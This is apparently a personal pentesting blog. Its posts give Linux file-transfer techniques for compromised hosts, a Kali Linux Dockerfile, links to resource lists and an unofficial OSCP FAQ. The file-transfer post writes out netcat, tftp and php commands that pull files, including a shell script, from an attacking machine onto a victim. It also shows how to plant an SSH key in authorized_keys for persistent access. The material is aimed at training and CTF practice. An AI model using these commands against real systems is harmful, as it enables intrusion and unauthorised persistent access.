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Category: Pentesting

Linux File Transfer Techniques

Digging through my pentesting notes from over the last few years, I pulled together various scrawled things on quick ways to transfer files from one place to another. Thought I’d share the reference here in case anyone finds it useful.

Note: Some of this may have been copy/pasted from various places — I don’t honestly remember. If you recognize something, let me know – I am happy to give credit where credit is due!

Simple Python HTTP Server

This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

python -m SimpleHTTPServer 9999

Wget

You can download files from that running Pything server using wget like this:

wget 192.168.1.102:9999/file.txt

Curl

curl -O <http://192.168.0.101/file.txt>

Netcat

Another easy way to transfer files is by using netcat.

If you can’t have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can’t do ctr-c because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc 192.168.1.102 4444 > file

You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:

nc -lvp 3333 > enum.sh

And on the attacking machine we send the file like this:

nc 192.168.1.103 < enum.sh

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 > file.sh

Socat

Server receiving file:

server$ socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
client$ socat -u FILE:test.txt TCP:127.0.0.1:9876

Server sending file:

server$ socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
client$ socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat

With php

echo "<?php file_put_contents('nameOfFile', fopen('<http://192.168.1.102/file>', 'r')); ?>" > down2.php

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

Tftp

On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:

$ tftp 192.168.0.101
tftp> get myfile.txt

If we can’t run it interactively, for whatever reason, we can do this trick:

tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"

SSH – SCP

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the /home/user directory you can find the hidden .ssh files by typing ls -la.Then you need to do two things.

Create a new keypair

You do that with:

ssh-keygen -t rsa -C "your_email@example.com"

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKeyEnter passphrase (empty for no passphrase):Enter same passphrase again:

This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.

Add your public key to authorized_keys

Now you copy the content of nameOfMyKey_pub.On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys

Log in

Now you should be all set to log in using your private key. Like this

ssh -i nameOfMyKey kim@192.168.1.103

SCP

Now we can copy files to a machine using scp

# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination

OWASP Attack Surface Detector Project

When I did a short work stint at Secure Decisions in 2018, one of the projects I got to work on was helping to create the Attack Surface Detector plugin for ZAP and Burp Suite. I left that position before the project got published, but I am happy to see that it was a success.

Here it is in all its glory.

From the OWASP description:

The Attack Surface Detector tool uncovers the endpoints of a web application, the parameters these endpoints accept, and the data type of those parameters. This includes the unlinked endpoints a spider won’t find in client-side code, or optional parameters totally unused in client-side code. It also has the capability to calculate the changes in attack surface between two versions of an application.

There is a video that demonstrates the plugin, and yes, that is me doing the voice-over.

Kali Linux Dockerfile

Since recently discovering there is now an official Kali Linux docker image, I’ve been fiddling with it and tweaking my own setup to get it to how I like it for the things I use it for. I have a work version and a personal version. What follows is my personal version, used mostly for R&D, CTF challenges, and bug hunting in my free time.

My Kali Dockerfile (for Mac)

# The Kali linux base image
FROM kalilinux/kali-linux-docker

# Update all the things, then install my personal faves
RUN apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get install -y \
 cadaver \
 dirb \
 exploitdb \
 exploitdb-bin-sploits \
 git \
 gdb \
 gobuster \
 hashcat \
 hydra \
 man-db \
 medusa \
 minicom \
 nasm \
 nikto \
 nmap \
 sqlmap \
 sslscan \
 webshells \
 wpscan \
 wordlists 

# Create known_hosts for git cloning things I want
RUN mkdir /root/.ssh
RUN touch /root/.ssh/known_hosts
# Add host keys
RUN ssh-keyscan bitbucket.org >> /root/.ssh/known_hosts
RUN ssh-keyscan github.com >> /root/.ssh/known_hosts

# Clone git repos
RUN git clone https://github.com/danielmiessler/SecLists.git /opt/seclists
RUN git clone https://github.com/PowerShellMafia/PowerSploit.git /opt/powersploit
RUN git clone https://github.com/hashcat/hashcat /opt/hashcat
RUN git clone https://github.com/rebootuser/LinEnum /opt/linenum
RUN git clone https://github.com/maurosoria/dirsearch /opt/dirsearch
RUN git clone https://github.com/sdushantha/sherlock.git /opt/sherlock

# Other installs of things I need
RUN apt-get install -y \
    python-pip

RUN pip install pwntools

# Update ENV
ENV PATH=$PATH:/opt/powersploit
ENV PATH=$PATH:/opt/hashcat
ENV PATH=$PATH:/opt/dirsearch
ENV PATH=$PATH:/opt/sherlock

# Set entrypoint and working directory (Mac specific)
WORKDIR /Users/wchatham/kali/

# Expose ports 80 and 443
EXPOSE 80/tcp 443/tcp

Build it

docker build -t yourname/imagename path/to/theDockerfile 

(don’t actually put ‘Dockerfile’ in the path). Do change ‘imagename’ to something apropos, such as ‘kali’

Run it

docker run -ti -p 80:80 -p 443:443 -v /Users/yourname/Desktop:/root yourname/imagename

The above examples require you to replace ‘yourname’ with your Mac username

-ti
Indicates that we want a tty and to keep STDIN open for interactive processes

-p
Expose the listed ports

-v
Mount the defined folders to be shared from host to docker.

Hope that’s useful to someone!

Hat tip: https://www.pentestpartners.com/security-blog/docker-for-hackers-a-pen-testers-guide/

A few new resources for pentesting/OSCP/CTFs

Here are a few new resources I’ve run across in the last month or so. I’ve gone back to add these to some of my older posts, such as the Windows Privesc Resources, so hopefully you’ll find them, one way or another.

Windows-Privilege-Escalation-Guide
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

JSgen.py – bind and reverse shell JS code generator for SSJI in Node.js with filter bypass encodings
https://pentesterslife.blog/2018/06/28/jsgen/

So you want to be a security engineer?
https://medium.com/@niruragu/so-you-want-to-be-a-security-engineer-d8775976afb7

Local and Remote File Inclusion Cheat Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal

External XML Entity (XXE) Injection Payloads
https://gist.github.com/staaldraad/01415b990939494879b4

Enjoy!

The Unofficial OSCP FAQ

It has been close to a year since I took the Penetration Testing with Kali (PWK) course and subsequently obtained the Offensive Security Certified Professional (OSCP) certification. Since then, I have been hanging out in a lot of Slack, Discord, and MatterMost chat rooms for security professionals and enthusiasts (not to mention various subreddits). When discussing the topic of obtaining the OSCP certfication, I have noticed *a lot* of prospective PWK/OSCP students asking the same questions, over and over.

The OffSec website itself covers some of the answers to some of these questions, but whether its because people don’t read it, or that it wasn’t made very clear, these questions keep coming back. Here, I will attempt to answer them as best I can.

Disclaimer: I am not an OffSec employee, nor do I make the claim that anything that follows is OffSec’s official opinion about the matter. These are my opinions; use them at your own risk.

  1. Do I have enough experience to attempt this?
  2. How much lab time should I buy?
  3. Can I use tool X on the exam?
  4. What note keeping app should I use?
  5. How do I format my reports?
  6. Is the HackTheBox.eu lab similar to the OSCP/PWK lab?
  7. Are VulnHub VM’s similar to the OSCP/PWK lab?
  8. What other resources can I use to help me prepare for the PWK course?

According to the official OffSec FAQ you do need some foundational skills before you attempt this course. You should certainly know your way around the Linux command line before diving in, and having a little bash or python scripting under your belt is recommended. That said, it’s more important that you can read code and understand what it is doing than being able to sit down and write something from scratch.

I see many people asking about work experience, which isn’t really covered by OffSec. For example, people wondering if 3 years of networking and/or 1 year being a SOC analyst is “enough.” These questions are impossible to quantify and just as impossible to answer. What you should focus on is your skills as they relate to what is needed for the course.

To do that, head over to the PWK Syllabus page and go through each section. Take notes about things that you are not sure about, or know that you lack skills and expertise in.

Once you have a list made, start your research and find ways to learn about what you need to get up to speed on. For example, when I was preparing for PWK, I knew very little about buffer overflows. I spent a while watching various YouTube videos, reading up on the methods by which you can use a buffer overflow exploit, and taking notes for future reference. Once I started the course, I was able to dive into the exercises and understand what was going on, at least a little bit beyond the very basics, which helped me save time.

In the same boat? Check out this excellent blog post about buffer overflows for something similar to what you will see in the PWK course. Also, while I haven’t tried it yet, I hear that this is a good buffer overflow challenge you can practice on.

Buy the 90 day course in order to get the most out of the experience and not feel crunched for time — especially if you work full time and/or have a family.

With 90 days, you can complete the exercises in the PWK courseware first, and still have plenty of time left for compromising lab machines.

I see this question a lot, perhaps more than any other. People want to know if it is safe to use a specific tool on the exam, such as Sn1per. The official exam guide from OffSec enumerates the types of tools that are restricted on the exam. It is pretty clear that you cannot use commercial tools or automated exploit tools. Keep this statement in mind when wondering if you can use a certain tool:

The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting vulnerabilities, not in automating the process.

If a tools helps you enumerate a system (nmap, nikto, dirbuster, e.g.), then it is OK to use.

If a tool automates the attacking and exploiting (sqlmap, Sn1per, *autopwn tools), then stay away from it.

Don’t forget the restrictions on Metasploit, too.

From what I have heard, even though OffSec states that they will not discuss anything about it further, people have successfully messaged the admins to ask about a certain tool and gotten replies. Try that if you are still unsure.

I wrote a lot about this already, so be sure to check out that write-up. In short, these are the main takeaways:

  • Do not use KeepNote (which is actually recommended in the PWK course), because it is no longer updated or maintained. People have lost their work because it has crashed on them.
  • CherryTree is an excellent replacement for KeepNote and is easily installed on the OffSec PWK Kali VM (it is bundled by default on the latest/greatest version of Kali).
  • OneNote covers all the bases you might need, is available via the web on your Kali box, and has clients for Mac and Windows.
  • Other options boil down to personal choice: Evernote, markdown, etc.

Check out the example reports that OffSec provides. From those, you can document your PWK exercises, your 10 lab machines (both of which contribute towards the 5 bonus points on the exam), and your exam notes.

I do not recommend skipping the exercise and 10 lab machine documentation, thus forfeiting your 5 extra exam points. I am a living example of someone who would not have passed the exam had I not provided that documentation. Yes, it is time consuming, but it prepares you for the exam documentation and helps you solidify what you have learned in the course.

There are definitely some worthy machine on Hack The Box (HTB) that can help you prepare for OSCP. The enumeration skills alone will help you work on the OSCP labs as you develop a methodology.

There are definitely some more “puzzle-ish” machines in HTB, similar to what you might find in a Capture The Flag event, but there are also plenty of OSCP-like boxes to be found. It is a good way to practice and prepare.

See the above answer about Hack The Box, as much of it applies to the VulnHub machines too. I used VulnHub to help me pre-study for OSCP, and it was a big help. The famous post by Abatchy about OSCP-like VulnHub VM’s is a great resource. My favorites were:

  • All the Kioptrix machines
  • SickOS
  • FrisitLeaks
  • Stapler

There are a lot of resources that can help you pre-study before you dive into the course. I will post some here.

Books

Online Guides

Captured The Flag

Along with my friend eth3real (and some pitching in from our new friend Brian), we teamed up as DefCon828 and won the Capture the Flag contest at BSides Asheville today. The loot was some cool WiFi Pineapple gear.

Last month, Jess and I won 1st and 2nd place respectively at BlueRidgeCon. I do feel bad about missing out on the lectures, talks, and socialization at these awesome conferences, but I can’t stay away from the CTFs. It’s bad.

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